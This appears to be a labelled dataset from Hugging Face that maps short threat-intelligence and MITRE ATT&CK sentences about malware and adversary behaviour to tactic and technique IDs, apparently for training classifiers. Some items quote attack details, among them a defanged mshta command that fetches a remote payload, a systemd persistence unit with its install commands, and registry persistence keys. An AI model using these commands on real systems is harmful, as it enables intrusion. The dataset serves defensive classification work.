madox81/Adema_ATTACK_DS huggingface dataset:
Input: A total of 64MB of garbage data is appended to this copied file, likely as a way to deter any security products in place that may be scanning files on disk

Tactics: TA0005
Techniques: T1027, T1027.001
Input: File systems can also contain other structures, such as the Volume Boot Record (VBR) and Master File Table (MFT) in NTFS.

Tactics: TA0005
Techniques: T1564, T1564.005
Input: Micropsia executes an RAR tool to recursively archive files based on a predefined list of file extensions (.xls, .xlsx, .csv, .odt, .doc, .docx, .ppt, .pptx, .pdf, .mdb, .accdb, .accde, *.txt).

Tactics: TA0009
Techniques: T1119
Input: OSX/Shlayer uses the mktemp utility to make random and unique filenames for payloads, such as export tmpDir="$(mktemp -d /tmp/XXXXXXXXXXXX)" or mktemp -t Installer.

Tactics: TA0005
Techniques: T1564
Input: Use user training as a way to bring awareness to common phishing and spearphishing techniques and how to raise suspicion for potentially malicious events.

Tactics: TA0002
Techniques: T1204.002, T1204, T1204.001
Input: Malicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables.

Tactics: TA0003, TA0004
Techniques: T1547.004, T1547
Input: APT28 has used the Office Test persistence mechanism within Microsoft Office by adding the Registry key HKCU\Software\Microsoft\Office test\Special\Perf to execute code.

Tactics: TA0003
Techniques: T1137.002, T1137
Input: A variant of Elise executes dir C:\progra~1 when initially run.

Tactics: TA0007
Techniques: T1083
Input: SUNBURST had a command to delete files.

Tactics: TA0005
Techniques: T1070, T1070.004
Input: Kimsuky has obtained exploit code for various CVEs.

Tactics: TA0042
Techniques: T1588, T1588.005
Input: Adversaries may also use Remote Services such as Distributed Component Object Model to facilitate remote IPC execution.

Tactics: TA0002
Techniques: T1559
Input: Creates the service file /usr/lib/systemd/system/rsyncd.service [Unit]Description= synchronize and backup service.After=syslog.target [Service].ExecStart=/bin/rsyncd.OOMScoreAdjust=-500 [Install].WantedBy=multi-user.target Then it installs the service by executing the following commands: ln -s '/lib/systemd/system/rsyncd.service' '/etc/systemd/system/multi-user.target.wants /rsyncd.service' systemctl daemon-reload  The running systemd process determines, which option will be used to register the Trojan in autorun

Tactics: TA0002, TA0003, TA0004, TA0007, TA0008, TA0011
Techniques: T1007, T1569.002, T1021, T1543.002, T1543, T1569, T1102
Input: HIDEDRV injects a DLL for Downdelph into the explorer.exe process.

Tactics: TA0004, TA0005
Techniques: T1055, T1055.001
Input: HyperBro has the ability to delete a specified file.

Tactics: TA0005
Techniques: T1070, T1070.004
Input: TajMahal has the ability to capture webcam video.

Tactics: TA0009
Techniques: T1125
Input: YAHOYAH encrypts its configuration file using a simple algorithm.

Tactics: TA0005
Techniques: T1027
Input: Adversaries may abuse odbcconf.exe to bypass application control solutions that do not account for its potential abuse.

Tactics: TA0005
Techniques: T1218, T1218.008
Input: DustySky has exfiltrated data to the C2 server.

Tactics: TA0010
Techniques: T1041
Input: BITSAdmin can be used to create BITS Jobs to upload files from a compromised host.

Tactics: TA0010
Techniques: T1048.003, T1048
Input: Monitor for third-party application logging, messaging, and/or other artifacts that may send spearphishing emails with a malicious link in an attempt to gain access to victim systems.

Tactics: TA0001
Techniques: T1566, T1566.002
Input: MarkiRAT can drop its payload into the Startup directory to ensure it automatically runs when the compromised system is started.

Tactics: TA0003, TA0004
Techniques: T1547.001, T1547
Input: A Threat Group-3390 tool can create a new service, naming it after the config information, to gain persistence.

Tactics: TA0003, TA0004
Techniques: T1543.003, T1543
Input: Section 1 The first section of the PowerShell script is responsible for setting different key variables that are used by the remaining sections of the PowerShell script, especially the following variables:  TEMpPAtH = "C:\ProgramData\" (the path used for storing the temp files) Get_vAlIdIP = https://api.ipify.org/ (used to get the public IP address of the machine) FIlENAmePATHP = WindowsDefender.ini (file used to store Powershell code) PRIVAtE = Private Key exponents PUbLIc = Public Key exponents Hklm = "HKLM:\Software\" Hkcu = "HKCU:\Software\" ValuE = "kaspersky" SYSID DrAGon_MidDLe = [array of proxy URLs]  Among those variables, there is one variable of particular interest, DrAGon_MidDLe, which stores the list of proxy URLs (detailed at the end of the blog in the Network Indicators portion of the Indicators of Compromise section) that will be used to interact with the C2 server, as shown in Figure 12

Tactics: TA0002
Techniques: T1059.001, T1059
Input: This account was suspended in short order, but immediately after the suspension, an alternate account with the username @dookhtegan1 with the same stylized profile image appeared and is still currently active

Tactics: TA0007
Techniques: T1033, T1087
Input: In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device.

Tactics: TA0040
Techniques: T1529
Input: As well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.

Tactics: TA0006
Techniques: T1003, T1003.001
Input: Symmetric encryption algorithms are those that use shared or the same keys/secrets on each end of the channel.

Tactics: TA0010
Techniques: T1048, T1048.001
Input: HermeticWizard can use a list of hardcoded credentials to to authenticate via NTLMSSP to the SMB shares on remote systems.

Tactics: TA0008
Techniques: T1021, T1021.002
Input: Keychain files are located in ~/Library/Keychains/, /Library/Keychains/, and /Network/Library/Keychains/.

Tactics: TA0006
Techniques: T1555.001, T1555
Input: Older operating system versions on network devices often have weaker encryption ciphers and, in general, fewer/less updated defensive features.

Tactics: TA0005
Techniques: T1601, T1601.002
Input: CoinTicker downloads the EggShell mach-o binary using curl, which does not set the quarantine flag.

Tactics: TA0005
Techniques: T1553.001, T1553
Input: Adversaries may also compile WMI scripts into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription.

Tactics: TA0003, TA0004
Techniques: T1546.003, T1546
Input: Risks of additional exploits and weaknesses in these systems may still exist.

Tactics: TA0004, TA0005, TA0008
Techniques: T1210, T1211, T1068
Input: RCSession has used a file named English.rtf to appear benign on victim hosts.

Tactics: TA0005
Techniques: T1036
Input: Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls –a for Linux and macOS).

Tactics: TA0005
Techniques: T1564, T1564.001
Input: Do not include the com.apple.security.get-task-allow entitlement with the value set to any variation of true.

Tactics: TA0002
Techniques: T1559
Input: Empire can persist by modifying a .LNK file to include a backdoor.

Tactics: TA0003, TA0004
Techniques: T1547.009, T1547
Input: Transparent Tribe can mimic legitimate Windows directories by using the same icons and names.

Tactics: TA0005
Techniques: T1036.005, T1036
Input: The C&C server then replies with the encrypted serialized configuration

Tactics: TA0005
Techniques: T1027
Input: Sibot checked if the compromised system is configured to use proxies.

Tactics: TA0007
Techniques: T1016
Input: Turla has used encryption (including salted 3DES via PowerSploit's Out-EncryptedScript.ps1), random variable names, and base64 encoding to obfuscate PowerShell commands and payloads.

Tactics: TA0005
Techniques: T1027
Input: System and user-wide environment variable scopes are specified in the Registry, where a Component Object Model (COM) object can be registered as a profiler DLL.

Tactics: TA0003, TA0004, TA0005
Techniques: T1574.012, T1574
Input: Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events.

Tactics: TA0003, TA0004
Techniques: T1546
Input: The output is formatted to be compatible with cracking tools like John the Ripper and Hashcat.

Tactics: TA0006
Techniques: T1558.003, T1558
Input: It also searches for ICS-related software files.

Tactics: TA0007
Techniques: T1083
Input: RainyDay can use tools to collect credentials from web browsers.

Tactics: TA0006
Techniques: T1555.003, T1555
Input: GravityRAT collects various information via WMI requests, including CPU information in the Win32_Processor entry (Processor ID, Name, Manufacturer and the clock speed).

Tactics: TA0002
Techniques: T1047
Input: APT39 has used SMB for lateral movement.

Tactics: TA0008
Techniques: T1021, T1021.002
Input: Limit credential overlap across systems to prevent access if account credentials are obtained.

Tactics: TA0001, TA0003, TA0004, TA0005
Techniques: T1078, T1078.002
Input: Monitor for newly constructed logon behavior across default accounts that have been activated or logged into.

Tactics: TA0001, TA0003, TA0004, TA0005
Techniques: T1078, T1078.001
Input: TrickBot collects a list of install programs and services on the system’s machine.

Tactics: TA0007
Techniques: T1007
Input: Emotet can brute force a local admin password, then use it to facilitate lateral movement.

Tactics: TA0001, TA0003, TA0004, TA0005
Techniques: T1078, T1078.003
Input: Dridex can perform browser attacks via web injects to steal information such as credentials, certificates, and cookies.

Tactics: TA0009
Techniques: T1185
Input: Monitor executed commands and arguments that may search and collect local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.

Tactics: TA0009
Techniques: T1005
Input: Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders.

Tactics: TA0005
Techniques: T1070
Input: Empire contains modules that can discover and exploit search order hijacking vulnerabilities.

Tactics: TA0003, TA0004, TA0005
Techniques: T1574.008, T1574
Input: PLATINUM has sent spearphishing emails with attachments to victims as its primary initial access vector.

Tactics: TA0001
Techniques: T1566, T1566.001
Input: Pupy can sniff plaintext network credentials and use NBNS Spoofing to poison name services.

Tactics: TA0006, TA0009
Techniques: T1557.001, T1557
Input: Pteranodon has the ability to use anti-detection functions to identify sandbox environments.

Tactics: TA0005, TA0007
Techniques: T1497
Input: Bisonal has renamed malicious code to msacm32.dll to hide within a legitimate library; earlier versions were disguised as winhelp.

Tactics: TA0005
Techniques: T1036.005, T1036
Input: In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in %systemdir%\, and it must be protected by Windows File or Resource Protection (WFP/WRP).

Tactics: TA0003, TA0004
Techniques: T1546.008, T1546
Input: APT28 used a publicly available tool to gather and compress multiple documents on the DCCC and DNC networks.

Tactics: TA0009
Techniques: T1119, T1560
Input: Adversaries who use ransomware may first perform this and other Impact behaviors, such as Data Destruction and Defacement, before completing the Data Encrypted for Impact objective.

Tactics: TA0040
Techniques: T1531
Input: Monitor executed commands and arguments that may abuse authentication packages to execute DLLs when the system boots.

Tactics: TA0003, TA0004
Techniques: T1547.002, T1547
Input: ZIRCONIUM has used a tool to capture the processor architecture of a compromised host in order to register it with C2.

Tactics: TA0007
Techniques: T1082
Input: Dridex has collected a list of installed software on the system.

Tactics: TA0007
Techniques: T1518
Input: Zebrocy uses HTTP for C2.

Tactics: TA0011
Techniques: T1071, T1071.001
Input: Remexi takes screenshots of windows of interest.

Tactics: TA0009
Techniques: T1113
Input: Bundlore can execute JavaScript by injecting it into the victim's browser.

Tactics: TA0002
Techniques: T1059.007, T1059
Input: WindTail has the ability to use the macOS built-in zip utility to archive files.

Tactics: TA0009
Techniques: T1560.001, T1560
Input: PoetRAT was distributed via malicious Word documents.

Tactics: TA0001
Techniques: T1566, T1566.001
Input: Executable extensions commonly regarded as dangerous, such as .exe, .lnk, .hta, and .scr, often appear as the second extension and true file type.

Tactics: TA0005
Techniques: T1036, T1036.007
Input: (To bypass UAC) configurable setting for the process to abuse  Other than these, new coding algorithm has been introduced

Tactics: TA0004, TA0005
Techniques: T1548.002, T1548
Input: Detection strategy may depend on the specific adversary procedure, but potential rules include: * To detect loading and execution of local/remote payloads - Event 1 (Process creation) where ParentImage contains CMSTP.exe* Also monitor for events, such as the creation of processes (Sysmon Event 1), that involve auto-elevated CMSTP COM interfaces such as CMSTPLUA (3E5FC7F9-9A51-4367-9063-A120244FBEC7) and CMLUAUTIL (3E000D72-A845-4CD9-BD83-80C07C3B881F).

Tactics: TA0005
Techniques: T1218, T1218.003
Input: As part of their compromises, the group has used a Javascript based profiler called RICECURRY to profile a victim's web browser and deliver malicious code accordingly.

Tactics: TA0001
Techniques: T1189
Input: Adversaries may also use Masquerading to make the Registry entries look as if they are associated with legitimate programs.

Tactics: TA0003, TA0004
Techniques: T1547.001, T1547, T1547.014
Input: Adversaries may also leverage Protocol Tunneling in conjunction with Proxy and/or Protocol Impersonation to further conceal C2 communications and infrastructure.

Tactics: TA0011
Techniques: T1572
Input: APT33 has used HTTP for command and control.

Tactics: TA0011
Techniques: T1071, T1071.001
Input: GravityRAT collects the victim username along with other account information (account type, description, full name, SID and status).

Tactics: TA0007
Techniques: T1033
Input: Lizar has used various Windows API functions on a victim's machine.

Tactics: TA0002
Techniques: T1106
Input: ZxShell is injected into a shared SVCHOST process.

Tactics: TA0004, TA0005
Techniques: T1055, T1055.001
Input: MuddyWater has used HTTP for C2 communications.

Tactics: TA0011
Techniques: T1071, T1071.001
Input: Crimson can set a Registry key to determine how long it has been installed and possibly to indicate the version number.

Tactics: TA0005
Techniques: T1112
Input: They may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta

Tactics: TA0005
Techniques: T1218.005, T1218
Input: Bundlore has attempted to get users to execute a malicious .app file that looks like a Flash Player update.

Tactics: TA0002
Techniques: T1204.002, T1204
Input: Monitor account login activity on these applications to detect suspicious/abnormal usage.Perform application deployment at regular times so that irregular deployment activity stands out.

Tactics: TA0002, TA0008
Techniques: T1072
Input: Outlook Home Page is a legacy feature used to customize the presentation of Outlook folders.

Tactics: TA0003
Techniques: T1137, T1137.004
Input: On macOS the dscl . list /Users | grep -v '_' command can also be used to enumerate user accounts.

Tactics: TA0007
Techniques: T1033
Input: A specific app can be investigated using an activity log displaying activities the app has performed, although some activities may be mis-logged as being performed by the user.

Tactics: TA0006
Techniques: T1528
Input: APT37 has used a credential stealer known as ZUMKONG that can harvest usernames and passwords stored in browsers.

Tactics: TA0006
Techniques: T1555.003, T1555
Input: NanHaiShu can gather the victim computer name and serial number.

Tactics: TA0007
Techniques: T1082
Input: esentutl can use Volume Shadow Copy to copy locked files such as ntds.dit.

Tactics: TA0006
Techniques: T1003.003, T1003
Input: DustySky searches for network drives and removable media and duplicates itself onto them.

Tactics: TA0008
Techniques: T1570
Input: Kimsuky has deleted the exfiltrated data on disk after transmission.

Tactics: TA0005
Techniques: T1070, T1070.004
Input: To do so, adversaries may set the second script: parameter to reference a scriptlet file (.sct) hosted on a remote site.

Tactics: TA0005
Techniques: T1216.001, T1216
Input: Monitor for newly constructed files on removable media

Tactics: TA0001, TA0008
Techniques: T1091
Input: CozyCar's main method of communicating with its C2 servers is using HTTP or HTTPS.

Tactics: TA0011
Techniques: T1071, T1071.001
Input: Monitor for API calls to the SetWindowsHook, GetKeyState, and GetAsyncKeyState.

Tactics: TA0006, TA0009
Techniques: T1056.001, T1056
Input: Adversaries may use the information from Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Tactics: TA0007
Techniques: T1518
Input: Instead of purchasing a Server or Virtual Private Server, adversaries may compromise third-party servers in support of operations.

Tactics: TA0042
Techniques: T1584.004, T1584
Input: Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic.

Tactics: TA0011
Techniques: T1071
Input: Leafminer used a tool called MailSniper to search for files on the desktop and another utility called Sobolsoft to extract attachments from EML files.

Tactics: TA0007
Techniques: T1083
Input: Javali can use large obfuscated libraries to hinder detection and analysis.

Tactics: TA0005
Techniques: T1027, T1027.001
Input: AppleJeus has been distributed via spearphishing link.

Tactics: TA0001
Techniques: T1566, T1566.002
Input: At a minimum, ensure an incident response plan to storage breach includes rotating the keys and test for impact on client applications.

Tactics: TA0009
Techniques: T1530
Input: NOKKI can collect the current timestamp of the victim's machine.

Tactics: TA0007
Techniques: T1124
Input: Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant.

Tactics: TA0042
Techniques: T1584.001, T1584
Input: Monitor Registry writes to HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors.

Tactics: TA0003, TA0004
Techniques: T1547, T1547.010
Input: Before exfiltration, Okrum's backdoor has used hidden files to store logs and outputs from backdoor commands.

Tactics: TA0005
Techniques: T1564, T1564.001
Input: Wizard Spider has used the "net view" command to locate mapped network shares.

Tactics: TA0007
Techniques: T1135
Input: Mofang's spearphishing emails required a user to click the link to connect to a compromised website.

Tactics: TA0002
Techniques: T1204, T1204.001
Input: IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern.

Tactics: TA0002
Techniques: T1559
Input: Proc memory injection involves enumerating the memory of a process via the /proc filesystem (/proc/[pid]) then crafting a return-oriented programming (ROP) payload with available gadgets/instructions.

Tactics: TA0004, TA0005
Techniques: T1055.009, T1055
Input: Emotet has been observed dropping password grabber modules including Mimikatz.

Tactics: TA0006
Techniques: T1003, T1003.001
Input: Apple’s securityd utility takes the user’s logon password, encrypts it with PBKDF2, and stores this master key in memory.

Tactics: TA0006
Techniques: T1555.002, T1555
Input: BabyShark has executed the tasklist command.

Tactics: TA0007
Techniques: T1057
Input: Distributed COM (DCOM) is transparent middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.

Tactics: TA0008
Techniques: T1021.003, T1021
Input: Deny direct remote access to internal systems through the use of network proxies, gateways, and firewalls.

Tactics: TA0001, TA0002, TA0003, TA0005, TA0006, TA0007
Techniques: T1552, T1552.007, T1610, T1133, T1613
Input: Sibot communicated with its C2 server via HTTP GET requests.

Tactics: TA0011
Techniques: T1071, T1071.001
Input: The Grandoreiro payload has been delivered encrypted with a custom XOR-based algorithm and also as a base64-encoded ZIP file.

Tactics: TA0005
Techniques: T1027
Input: TA505 has used spearphishing emails with malicious attachments to initially compromise victims.

Tactics: TA0001
Techniques: T1566, T1566.001
Input: FIN8 has deleted Registry keys during post compromise cleanup activities.

Tactics: TA0005
Techniques: T1112
Input: GoldenSpy has been packaged with a legitimate tax preparation software.

Tactics: TA0001
Techniques: T1195, T1195.002
Input: ServHelper may download additional files to execute.

Tactics: TA0011
Techniques: T1105
Input: Volgmer can delete files and itself after infection to avoid analysis.

Tactics: TA0005
Techniques: T1070, T1070.004
Input: There are no documented means for defenders to validate the operation of the ROMMON outside of vendor support.

Tactics: TA0003, TA0005
Techniques: T1542.004, T1542
Input: Monitor for changes made on pre-OS boot mechanisms that can be manipulated for malicious purposes.

Tactics: TA0003, TA0005
Techniques: T1542
Input: Doki was executed through an open Docker daemon API port.

Tactics: TA0001, TA0003
Techniques: T1133
Input: Empire can use Dropbox for data exfiltration.

Tactics: TA0010
Techniques: T1567.002, T1567
Input: Volgmer can gather system information, the computer name, OS version, drive and serial information from the victim's machine.

Tactics: TA0007
Techniques: T1082
Input: Valak has used HTTP in communications with C2.

Tactics: TA0011
Techniques: T1071, T1071.001
Input: Creating a new instance may also allow an adversary to carry out malicious activity within an environment without affecting the execution of current running instances.

Tactics: TA0005
Techniques: T1578.002, T1578
Input: FruitFly has the ability to list processes on the system.

Tactics: TA0007
Techniques: T1057
Input: Monitor for newly constructed files that are downloaded and executed on the user's computer.

Tactics: TA0002
Techniques: T1204.002, T1204
Input: Carberp can start a remote VNC session by downloading a new plugin.

Tactics: TA0008
Techniques: T1021.005, T1021
Input: Monitor for newly executed processes that may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.

Tactics: TA0009
Techniques: T1005
Input: Cyclops Blink can decrypt and parse instructions sent from C2.

Tactics: TA0005
Techniques: T1140
Input: Hydraq creates new services to establish persistence.

Tactics: TA0003, TA0004
Techniques: T1543.003, T1543
Input: Conti can discover files on a local system.

Tactics: TA0007
Techniques: T1083
Input: Ixeshe is capable of executing commands via cmd.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: Dragonfly has collected data from local victim systems.

Tactics: TA0009
Techniques: T1005
Input: Operation Wocao has exfiltrated files and directories of interest from the targeted system.

Tactics: TA0009
Techniques: T1005
Input: ProLock can use .jpg and .bmp files to store its payload.

Tactics: TA0005
Techniques: T1027.003, T1027
Input: Turla has also used PowerSploit's Invoke-ReflectivePEInjection.ps1 to reflectively load a PowerShell payload into a random process on the victim system.

Tactics: TA0004, TA0005
Techniques: T1055
Input: Adversaries may upload or inject malicious web content, such as JavaScript, into websites.

Tactics: TA0042
Techniques: T1608.004, T1608